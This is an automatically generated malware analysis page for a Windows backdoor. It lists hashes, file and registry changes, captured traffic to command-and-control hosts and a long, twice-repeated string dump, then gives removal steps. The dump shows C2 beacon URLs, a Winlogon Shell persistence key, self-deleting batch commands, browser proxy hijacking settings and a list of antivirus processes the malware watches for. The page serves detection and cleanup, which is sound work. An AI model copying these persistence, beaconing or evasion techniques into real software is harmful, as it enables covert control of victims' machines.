Gen.Variant.Kazy.52241_456ca29d17

by malwarelabrobot on April 17th, 2015 in Malware Descriptions.

HEUR:Backdoor.Win32.Generic (Kaspersky), Gen:Variant.Kazy.52241 (B) (Emsisoft), Gen:Variant.Kazy.52241 (AdAware), BackdoorCycbot.YR (Lavasoft MAS)
Behaviour: Backdoor


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 456ca29d17bfa7bf1497694fc4291f79
SHA1: 5a93df7e42dcbbfe97a88bb3cc89bf7aaeba17bc
SHA256: e64a27581af69b3235249be2eed2d1f63ac47bd14ea43048e512c1b3a31bf7ee
SSDeep: 3072:J0fMpy4aC7aupSo5Mp9VNuDYgVrR5hGImkBX7l1RK8FgH8ppXfAaCQIp3gAbvj:aM04vauYh9iDfVtahkBXU8FgcppXfAk8
Size: 181248 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2005-11-05 13:32:34
Analyzed on: WindowsXP SP3 32-bit


Summary:

Backdoor. Malware that enables a remote control of victim's machine.

Payload

No specific payload has been found.

Process activity

The Backdoor creates the following process(es):

%original file name%.exe:256
%original file name%.exe:1336

The Backdoor injects its code into the following process(es):

%original file name%.exe:1776

Mutexes

The following mutexes were created/opened:

ShimCacheMutex
SHIMLIB_LOG_MUTEX

File activity

The process %original file name%.exe:1776 makes changes in the file system.
The Backdoor creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\507CF\F2C6.07C (2768 bytes)
%Documents and Settings%\%current user%\Application Data\507CF\8E22D.exe (85929 bytes)
%Program Files%\LP\2D85\1.exe (43 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT.LOG (4392 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT (3460 bytes)

The Backdoor deletes the following file(s):

%Program Files%\LP\2D85\1.exe (0 bytes)

Registry activity

The process %original file name%.exe:1776 makes changes in the system registry.
The Backdoor creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "16 EA 6F F7 04 6A 25 92 40 93 7A FF 71 F4 5A D6"

The Backdoor adds the reference to itself to be executed when a user logs on:

[HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
"Shell" = "explorer.exe,%Documents and Settings%\%current user%\Application Data\507CF\8E22D.exe"

The process %original file name%.exe:256 makes changes in the system registry.
The Backdoor creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0B 49 85 7E 4E 85 38 FF 53 84 ED 26 06 F1 76 69"

The process %original file name%.exe:1336 makes changes in the system registry.
The Backdoor creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7C 13 3D 2E 90 10 BB 37 C9 50 1C 20 90 75 86 73"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 487514 90624 4.71458 ce9502a663e63e621e7322381d9318dc
.rdata 495616 1068 1536 3.11427 ecf2ca661ed5b5ecba619c096025778b
.data 499712 87208 87552 5.50712 2428deb115c36c60dd4d667860907689
.rsrc 589824 4096 512 0.601867 60b5d73b95061e05810539a8a3228bfc

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://freedownload3.com/screenshot/4/s/89_3276.gif?sv=996&tq=gwY92w4A+JlHv84NglH87V0ASlBfjt4Ob3KJY02iztsa+8zuK7Izt9IlC8P9wTiBwtKgJ+C+exTNrh+dMLa1/E+iqnhPgSAWgSBWebVGG8iI/TiCt9Gp5RgeUO/+5Rc1zM1Sgz3h04h1A6nE16U4kO0CHZxyF68Ey 114.207.112.26
hxxp://3s3u3v.hoststorageforyou.com/logo.png?sv=538&tq=gKZEtzoYwLzEvUb5dQzRsrCqD/MtTca3l74EgC1OjrPGpgfib1XGp5zpRPksUt+A/gSoSEU= 72.52.4.120
hxxp://jou4eswf-i.firoli-sys.com/logo.png?sv=794&tq=gKZEtzoYwLzEvUb5dQzRsrCqD/MtTca3l74EgC9OjrPGpgfib1XGp5zpRPksUt+A/gSoSEU= 141.8.224.239


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /screenshot/4/s/89_3276.gif?sv=996&tq=gwY92w4A+JlHv84NglH87V0ASlBfjt4Ob3KJY02iztsa+8zuK7Izt9IlC8P9wTiBwtKgJ+C+exTNrh+dMLa1/E+iqnhPgSAWgSBWebVGG8iI/TiCt9Gp5RgeUO/+5Rc1zM1Sgz3h04h1A6nE16U4kO0CHZxyF68Ey HTTP/1.0
Connection: close
Host: freedownload3.com
Accept: */*
User-Agent: chrome/9.0


HTTP/1.1 200 OK
Connection: close
Date: Thu, 16 Apr 2015 06:05:16 GMT
Content-Length: 835
Content-Type: image/gif
Last-Modified: Mon, 13 May 2013 15:59:00 GMT
Accept-Ranges: bytes
ETag: "03a36c8f24fce1:e19"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
GIF89a".".U..!.......,...."."...Z....)k.1c.9s.J{.Z..Z..c.{kk.k..s..s.R
{............c.........{...........k........Z.....{........c........Z.
.s...........B........k...........J................................s..
...............@.. ....$.@0$.L..9,....Q...N_[m\...e2.M..hp..G...p.<
O..]`5==9.3....:.....4'y4.`..1.1.................9..'.=3'..98811&'.),8
).83.19.$,..78 7&,::;...........:,..# ;.. .. .# #....,.-.rt&.32d.....@
.-f.T(.B...`........\L..q..1......"... [email protected]."....B.ti
.b...q^......13..Y....EqN0.........A3...d.. .P...W....T.E.r..].....c_.
.q.*..6...q2q.....<{7....{..!....x.b..6....e.%.R.d.c..f..eg.f.V.;..
...}pX.4.....O....s.*Z8.>..u.&2.0Q.E.i&Rt...<...Yp...%^..)....&.
..?|(.^n..=....Wq..D.%VSp.6h..H.0.K....\>....pb....<.(..$....:..
....... .(../(p.A.U A.#.0.. ,p..-H.............2.0..1L.....p..[.PB..h 
..d.i..c:...;..



GET /logo.png?sv=538&tq=gKZEtzoYwLzEvUb5dQzRsrCqD/MtTca3l74EgC1OjrPGpgfib1XGp5zpRPksUt+A/gSoSEU= HTTP/1.0
Connection: close
Host: 3s3u3v.hoststorageforyou.com
Accept: */*
User-Agent: chrome/9.0


HTTP/1.0 404 Not Found
Date: Thu, 16 Apr 2015 06:05:32 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 9
Content-Type: text/html; charset=iso-8859-1
X-Cache: MISS from 930464
Connection: close
not found..



GET /logo.png?sv=794&tq=gKZEtzoYwLzEvUb5dQzRsrCqD/MtTca3l74EgC9OjrPGpgfib1XGp5zpRPksUt+A/gSoSEU= HTTP/1.0
Connection: close
Host: jou4eswf-i.firoli-sys.com
Accept: */*
User-Agent: chrome/9.0


HTTP/1.1 200 OK
Date: Thu, 16 Apr 2015 06:05:43 GMT
Server: Apache
Set-Cookie: gvc=926vr1767099430906609; expires=Tue, 14-Apr-2020 06:05:43 GMT; path=/; domain=jou4eswf-i.firoli-sys.com; httponly
Vary: Accept-Encoding,User-Agent
Content-Length: 51
Keep-Alive: timeout=5, max=123
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<html><head></head><body><!-- vbe --><
;/body></html>..

The Backdoor connects to the servers at the folowing location(s):

%original file name%.exe_1776:

`.rsrc
SSj%S
<%u,V
<3%u1f
cmd.exe
GetProcessWindowStation
operator
deflate 1.2.5 Copyright 1995-2010 Jean-loup Gailly and Mark Adler
1.2.5
>`Visual C   CRT: Not enough memory to complete call to strerror.
Broken pipe
Inappropriate I/O control operation
Operation not permitted
inflate 1.2.5 Copyright 1995-2010 Mark Adler
%d lines of %s read.
%d Function Prototypes found.
Including %d Library Functions.
.bss align=16
copy /b data.tmp   bss.tmp   code.tmp %s
copy /b code.tmp   data.tmp   bss.tmp %s
del *.tmp
copy /b data.tmp   code.tmp %s
al,%s
eax,%s
%s is not valid in:
Warning - Return from non-void function %s with no value
elend
.text
Warning -- "break" not supported in:
Error: %s not defined!
.data align=16
B1-1231 Warning - %s re-defined!
B1-1282 Warning - %s re-defined!
times %d db 0
times %d dd 0
XML-20003: missing token %s at line %d, column %d
XML-20004: missing keyword %s at line %d, column %d
Action: Check/update the input data to the correct keyword.
XML-20006: unexpected text at line %d column %d; expected EOF
XML-20007: missing content model in element declaration at line %s, column %s
{35BCA615-C82A-4152-8857-BCC626AE4C8D}
\Windows NT
%s\%s
Software\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer.exe,%s
{A1D429DE-B782-4253-84AD-6E09A8438AD5}
{4D92BB9F-9A66-458f-ACA4-66172A7016D4}
lvvm.exe
{C0429A47-0CF0-4d1b-9616-C588FA0A3DDB}
{43B671F0-5D50-4dbe-AD9C-64A6167C57AD}
{6B985724-623F-492e-B0D6-C9715ADE853B}
{B37C48AF-B05C-4520-8B38-2FE181D5DC78}
{95F6585C-CC1E-4b52-A63B-9FBC6A94F371}
Advapi32.dll
%s%s_1
%s_0_%d_%s
%s_%d
%s_%d_%d_%d_%d
%s_%s
hXXp://xprstats.com/k1.php
type=%s&system=na&id=%s&status=%s
t=st&q=%s
%s?tq=%s
TMFLDMN%d
id=%s&p3=0&p4=0&hwid=%s&c=%d&nax=7&ver=117
%s_%s_%d
_1_%d
_2_%d
_3_%d
_4_%d
firoli-sys.com
hoststorageforyou.com
wwwmediahosts.com
hdmediastore.com
halinoiser.com
allforyourimage.com
onlinepdahelpforyou.com
remarkreddomas.com
transfersakkonline.com
backupdomaintolevel.com
SELECT_RESERV_SRV_%d
hXXp://%s.%s
%s.%s
stor.cfg
exec%s
%s_%d_%s
id=%s&c=%d
%s_%d_%d_%d
%s_%d_%d
%s %s
%s start%s%c%s
c1.exe
c2.exe
c3.exe
DWN_CON_STRP_%d_%s
hXXp://
hXXp://%d.ctrl.%s
logo.png
img/135.png
img/136.png
t=%s&p4=0&q=%s&z22=0&s=%d&hrs=%d
t=%s&q=&s=%d&hrs=%d
%s/%s?sv=%d&tq=%s
%s:%d/%s?sv=%d&tq=%s
hXXp://binghamtonschools.org/images/ace/1/ace_1101278014_1314729789.jpg
hXXp://binghamtonschools.org/images/297893.jpg
hXXp://binghamtonschools.org/images/297894.jpg
hXXp://alleducationalsoftware.com/creditcardlogos.gif
hXXp://alleducationalsoftware.com/creditcard.png
hXXp://alleducationalsoftware.com/creditcard2.png
hXXp://patentgenius.com/temp/head.png
hXXp://patentgenius.com/132.gif
hXXp://patentgenius.com/133.gif
hXXp://freedownload3.com/screenshot/4/s/89_3276.gif
hXXp://freedownload3.com/screenshot/4/s/89_3277.gif
hXXp://freedownload3.com/screenshot/4/s/89_3278.gif
hXXp://istockanalyst.com/png/intel.gif
hXXp://istockanalyst.com/png/intel.jpg
hXXp://istockanalyst.com/12.jpg
hXXp://complaintsboard.com/complaints/logo.png
hXXp://complaintsboard.com/complaints/zip.png
hXXp://complaintsboard.com/complaints/rar.png
hXXp://highspeedinternetlosangeles.webnode.com/news/1.cgi
hXXp://highspeedinternetlosangeles.webnode.com/news/1.php
hXXp://highspeedinternetlosangeles.webnode.com/news/2.php
hXXp://newworldorderreport.com/favicon.ico
hXXp://newworldorderreport.com/img/3421.png
hXXp://newworldorderreport.com/img/3422.png
hXXp://jointhenewworldorder.com/images/pages.jpg
hXXp://jointhenewworldorder.com/images/pages.png
hXXp://cdn.adventofdeception.com/wp-content/uploads/2011/06/frame6.png
hXXp://cdn.adventofdeception.com/wp-content/uploads/2011/06/frame7.png
hXXp://cdn.adventofdeception.com/logo.png
t=t&hrs=%d&q=id=1000&ver=%s&s=%d
t=ip&hrs=%d&q=&s=1
%s?sv=%d&tq=%s
\bl%d_64.bat
del "%s"
if exist "%s" goto a
cmd.exe /c "%s"
GET %s HTTP/1.1
Host: %s
User-Agent: chrome/9.0
{ÕD9E4E0-906C-4B81-B1BF-2E9A76248146}_%d
{C66E79CE-8935-4ed9-A6B1-4983619CB925}
{61B98B86-5F44-42b3-BCA1-33904B067B81}
{B16C7E24-B3B8-4962-BF5E-4B33FD2DFE78}
{0ECE180F-6E9E-4FA6-A154-6876D9DB8906}
ahst.lni
milktoyoustudios.com
hXXp://%s/s.php?c=121&id=%s
bigbulkhypnocrys.com
hXXp://xprstats.com/images/logo.png
drweb
id=%s&hwid=%s&ver=%d&os=%s&av=%s&wd=%d&fw=%s&port=%d
t=ml&q=%s
xprstats.com
hXXp://%s%s
%s_1_%d_%s
%s_2_%d_%s
%s_3_%d_%s
%s_4_%d_%s
pmv=2&id=%s&hwid=%s
u.exe
%s up%s
&%s=%s
avgnt.exe
AVGIDSAgent.exe
avgwdsvc.exe
ccsvchst.exe
AvastUI.exe
mcagent.exe
PRM_LSTN_THIS_PORT
Opera
127.0.0.1
HTTP/1.x
google.com
hXXp://VVV.google.com
HTTP/1.1 302 Found
Location: %s
id=%s&type=%d&ppcid=%s
%s: %s
%s_5_%s
http=127.0.0.1:
prefs.js
Mozilla
"network.proxy.http"
"network.proxy.http_port"
"network.proxy.type"
"127.0.0.1"
%s(%s, %s);
operaprefs.ini
Use HTTP
HTTP server
127.0.0.1:%s
%s=%s
%s:%s
hwid=%s&yui=2&id=%s&step=1&wd=%d&rvn=56&av=%s
id=%s&hwid=%s
exec|%s
http=
HTTP/1.0 200 OK
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
bing.com
yahoo.com
search.aol.
suche.aol.
searcht2.aol.
.yimg.com
.bing.net
scorecardresearch.com
brightcove.com
.aol.
.atwola.
.ivwbox.
.google
.atdmt.
.abmr.
.tacoda.
.adtechus.
.autodatadirect.
.mapquestapi.
.ggpht.
.virtualearth.
.opera.
.microsoft.
.wsod.
.doubleclick.
.ypcdn.
.truveo.
.tlowdb.
mapq.st
.dartsearch.
.thawte.
http://
bing.com/search
bing.com:80/search
search.yahoo.com/search
%s_1_%s
err%d%s_%d_%d
err0%s_%d_%d
ver=117&system=%d&id=%s&hwid=%s&search=%s&referer=%s&useragent=%s&lang=%s&type=%d
%s:443/%s
%s_2_%s
%s_%s_%s
%s_3_%s
VVV.VVV.ru
hXXps://
.doubleclick.net
doubleclick.net
msn.com
%s_0%d_%d
=='undefined'?'%s':'%s'
.referrer
HTTP/1.0
%s %s %s
hXXp://VVV.google.com/
hXXp://VVV.yahoo.com/
.class
.midi
google_ad.url
google_ad.title
r.msn.com
google_ad.line1
zcÁ
c:\%original file name%.exe
%Program Files%\CF2C6
%Documents and Settings%\%current user%\Application Data\507CF
%Program Files%\LP\2D85
GetCPInfo
RegFlushKey
RegOpenKeyExA
RegCloseKey
WinHttpReadData
WinHttpOpenRequest
WinHttpOpen
WinHttpQueryDataAvailable
WinHttpReceiveResponse
WinHttpSendRequest
WinHttpConnect
WinHttpCloseHandle
`.rdata
@.data
.rsrc
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
KERNEL32.DLL
ADVAPI32.dll
ole32.dll
OLEAUT32.dll
RASAPI32.dll
RPCRT4.dll
SHELL32.dll
SHLWAPI.dll
USER32.dll
WINHTTP.dll
WININET.dll
WS2_32.dll
mscoree.dll
nKERNEL32.DLL
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
WUSER32.DLL
Dr.Web
mhttp=127.0.0.1:%d
hXXp://VVV.yahoo.com
2.0.2.1

%original file name%.exe_1776_rwx_00400000_0008E000:

`.rsrc
SSj%S
<%u,V
<3%u1f
cmd.exe
GetProcessWindowStation
operator
deflate 1.2.5 Copyright 1995-2010 Jean-loup Gailly and Mark Adler
1.2.5
>`Visual C   CRT: Not enough memory to complete call to strerror.
Broken pipe
Inappropriate I/O control operation
Operation not permitted
inflate 1.2.5 Copyright 1995-2010 Mark Adler
%d lines of %s read.
%d Function Prototypes found.
Including %d Library Functions.
.bss align=16
copy /b data.tmp   bss.tmp   code.tmp %s
copy /b code.tmp   data.tmp   bss.tmp %s
del *.tmp
copy /b data.tmp   code.tmp %s
al,%s
eax,%s
%s is not valid in:
Warning - Return from non-void function %s with no value
elend
.text
Warning -- "break" not supported in:
Error: %s not defined!
.data align=16
B1-1231 Warning - %s re-defined!
B1-1282 Warning - %s re-defined!
times %d db 0
times %d dd 0
XML-20003: missing token %s at line %d, column %d
XML-20004: missing keyword %s at line %d, column %d
Action: Check/update the input data to the correct keyword.
XML-20006: unexpected text at line %d column %d; expected EOF
XML-20007: missing content model in element declaration at line %s, column %s
{35BCA615-C82A-4152-8857-BCC626AE4C8D}
\Windows NT
%s\%s
Software\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer.exe,%s
{A1D429DE-B782-4253-84AD-6E09A8438AD5}
{4D92BB9F-9A66-458f-ACA4-66172A7016D4}
lvvm.exe
{C0429A47-0CF0-4d1b-9616-C588FA0A3DDB}
{43B671F0-5D50-4dbe-AD9C-64A6167C57AD}
{6B985724-623F-492e-B0D6-C9715ADE853B}
{B37C48AF-B05C-4520-8B38-2FE181D5DC78}
{95F6585C-CC1E-4b52-A63B-9FBC6A94F371}
Advapi32.dll
%s%s_1
%s_0_%d_%s
%s_%d
%s_%d_%d_%d_%d
%s_%s
hXXp://xprstats.com/k1.php
type=%s&system=na&id=%s&status=%s
t=st&q=%s
%s?tq=%s
TMFLDMN%d
id=%s&p3=0&p4=0&hwid=%s&c=%d&nax=7&ver=117
%s_%s_%d
_1_%d
_2_%d
_3_%d
_4_%d
firoli-sys.com
hoststorageforyou.com
wwwmediahosts.com
hdmediastore.com
halinoiser.com
allforyourimage.com
onlinepdahelpforyou.com
remarkreddomas.com
transfersakkonline.com
backupdomaintolevel.com
SELECT_RESERV_SRV_%d
hXXp://%s.%s
%s.%s
stor.cfg
exec%s
%s_%d_%s
id=%s&c=%d
%s_%d_%d_%d
%s_%d_%d
%s %s
%s start%s%c%s
c1.exe
c2.exe
c3.exe
DWN_CON_STRP_%d_%s
hXXp://
hXXp://%d.ctrl.%s
logo.png
img/135.png
img/136.png
t=%s&p4=0&q=%s&z22=0&s=%d&hrs=%d
t=%s&q=&s=%d&hrs=%d
%s/%s?sv=%d&tq=%s
%s:%d/%s?sv=%d&tq=%s
hXXp://binghamtonschools.org/images/ace/1/ace_1101278014_1314729789.jpg
hXXp://binghamtonschools.org/images/297893.jpg
hXXp://binghamtonschools.org/images/297894.jpg
hXXp://alleducationalsoftware.com/creditcardlogos.gif
hXXp://alleducationalsoftware.com/creditcard.png
hXXp://alleducationalsoftware.com/creditcard2.png
hXXp://patentgenius.com/temp/head.png
hXXp://patentgenius.com/132.gif
hXXp://patentgenius.com/133.gif
hXXp://freedownload3.com/screenshot/4/s/89_3276.gif
hXXp://freedownload3.com/screenshot/4/s/89_3277.gif
hXXp://freedownload3.com/screenshot/4/s/89_3278.gif
hXXp://istockanalyst.com/png/intel.gif
hXXp://istockanalyst.com/png/intel.jpg
hXXp://istockanalyst.com/12.jpg
hXXp://complaintsboard.com/complaints/logo.png
hXXp://complaintsboard.com/complaints/zip.png
hXXp://complaintsboard.com/complaints/rar.png
hXXp://highspeedinternetlosangeles.webnode.com/news/1.cgi
hXXp://highspeedinternetlosangeles.webnode.com/news/1.php
hXXp://highspeedinternetlosangeles.webnode.com/news/2.php
hXXp://newworldorderreport.com/favicon.ico
hXXp://newworldorderreport.com/img/3421.png
hXXp://newworldorderreport.com/img/3422.png
hXXp://jointhenewworldorder.com/images/pages.jpg
hXXp://jointhenewworldorder.com/images/pages.png
hXXp://cdn.adventofdeception.com/wp-content/uploads/2011/06/frame6.png
hXXp://cdn.adventofdeception.com/wp-content/uploads/2011/06/frame7.png
hXXp://cdn.adventofdeception.com/logo.png
t=t&hrs=%d&q=id=1000&ver=%s&s=%d
t=ip&hrs=%d&q=&s=1
%s?sv=%d&tq=%s
\bl%d_64.bat
del "%s"
if exist "%s" goto a
cmd.exe /c "%s"
GET %s HTTP/1.1
Host: %s
User-Agent: chrome/9.0
{ÕD9E4E0-906C-4B81-B1BF-2E9A76248146}_%d
{C66E79CE-8935-4ed9-A6B1-4983619CB925}
{61B98B86-5F44-42b3-BCA1-33904B067B81}
{B16C7E24-B3B8-4962-BF5E-4B33FD2DFE78}
{0ECE180F-6E9E-4FA6-A154-6876D9DB8906}
ahst.lni
milktoyoustudios.com
hXXp://%s/s.php?c=121&id=%s
bigbulkhypnocrys.com
hXXp://xprstats.com/images/logo.png
drweb
id=%s&hwid=%s&ver=%d&os=%s&av=%s&wd=%d&fw=%s&port=%d
t=ml&q=%s
xprstats.com
hXXp://%s%s
%s_1_%d_%s
%s_2_%d_%s
%s_3_%d_%s
%s_4_%d_%s
pmv=2&id=%s&hwid=%s
u.exe
%s up%s
&%s=%s
avgnt.exe
AVGIDSAgent.exe
avgwdsvc.exe
ccsvchst.exe
AvastUI.exe
mcagent.exe
PRM_LSTN_THIS_PORT
Opera
127.0.0.1
HTTP/1.x
google.com
hXXp://VVV.google.com
HTTP/1.1 302 Found
Location: %s
id=%s&type=%d&ppcid=%s
%s: %s
%s_5_%s
http=127.0.0.1:
prefs.js
Mozilla
"network.proxy.http"
"network.proxy.http_port"
"network.proxy.type"
"127.0.0.1"
%s(%s, %s);
operaprefs.ini
Use HTTP
HTTP server
127.0.0.1:%s
%s=%s
%s:%s
hwid=%s&yui=2&id=%s&step=1&wd=%d&rvn=56&av=%s
id=%s&hwid=%s
exec|%s
http=
HTTP/1.0 200 OK
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
bing.com
yahoo.com
search.aol.
suche.aol.
searcht2.aol.
.yimg.com
.bing.net
scorecardresearch.com
brightcove.com
.aol.
.atwola.
.ivwbox.
.google
.atdmt.
.abmr.
.tacoda.
.adtechus.
.autodatadirect.
.mapquestapi.
.ggpht.
.virtualearth.
.opera.
.microsoft.
.wsod.
.doubleclick.
.ypcdn.
.truveo.
.tlowdb.
mapq.st
.dartsearch.
.thawte.
http://
bing.com/search
bing.com:80/search
search.yahoo.com/search
%s_1_%s
err%d%s_%d_%d
err0%s_%d_%d
ver=117&system=%d&id=%s&hwid=%s&search=%s&referer=%s&useragent=%s&lang=%s&type=%d
%s:443/%s
%s_2_%s
%s_%s_%s
%s_3_%s
VVV.VVV.ru
hXXps://
.doubleclick.net
doubleclick.net
msn.com
%s_0%d_%d
=='undefined'?'%s':'%s'
.referrer
HTTP/1.0
%s %s %s
hXXp://VVV.google.com/
hXXp://VVV.yahoo.com/
.class
.midi
google_ad.url
google_ad.title
r.msn.com
google_ad.line1
zcÁ
c:\%original file name%.exe
%Program Files%\CF2C6
%Documents and Settings%\%current user%\Application Data\507CF
%Program Files%\LP\2D85
GetCPInfo
RegFlushKey
RegOpenKeyExA
RegCloseKey
WinHttpReadData
WinHttpOpenRequest
WinHttpOpen
WinHttpQueryDataAvailable
WinHttpReceiveResponse
WinHttpSendRequest
WinHttpConnect
WinHttpCloseHandle
`.rdata
@.data
.rsrc
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
KERNEL32.DLL
ADVAPI32.dll
ole32.dll
OLEAUT32.dll
RASAPI32.dll
RPCRT4.dll
SHELL32.dll
SHLWAPI.dll
USER32.dll
WINHTTP.dll
WININET.dll
WS2_32.dll
mscoree.dll
nKERNEL32.DLL
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
WUSER32.DLL
Dr.Web
mhttp=127.0.0.1:%d
hXXp://VVV.yahoo.com
2.0.2.1


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:256
    %original file name%.exe:1336

  2. Delete the original Backdoor file.
  3. Delete or disinfect the following files created/modified by the Backdoor:

    %Documents and Settings%\%current user%\Application Data\507CF\F2C6.07C (2768 bytes)
    %Documents and Settings%\%current user%\Application Data\507CF\8E22D.exe (85929 bytes)
    %Program Files%\LP\2D85\1.exe (43 bytes)
    %Documents and Settings%\%current user%\NTUSER.DAT.LOG (4392 bytes)

  4. Remove the references to the Backdoor by modifying the following registry value(s) (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
    "Shell" = "explorer.exe,%Documents and Settings%\%current user%\Application Data\507CF\8E22D.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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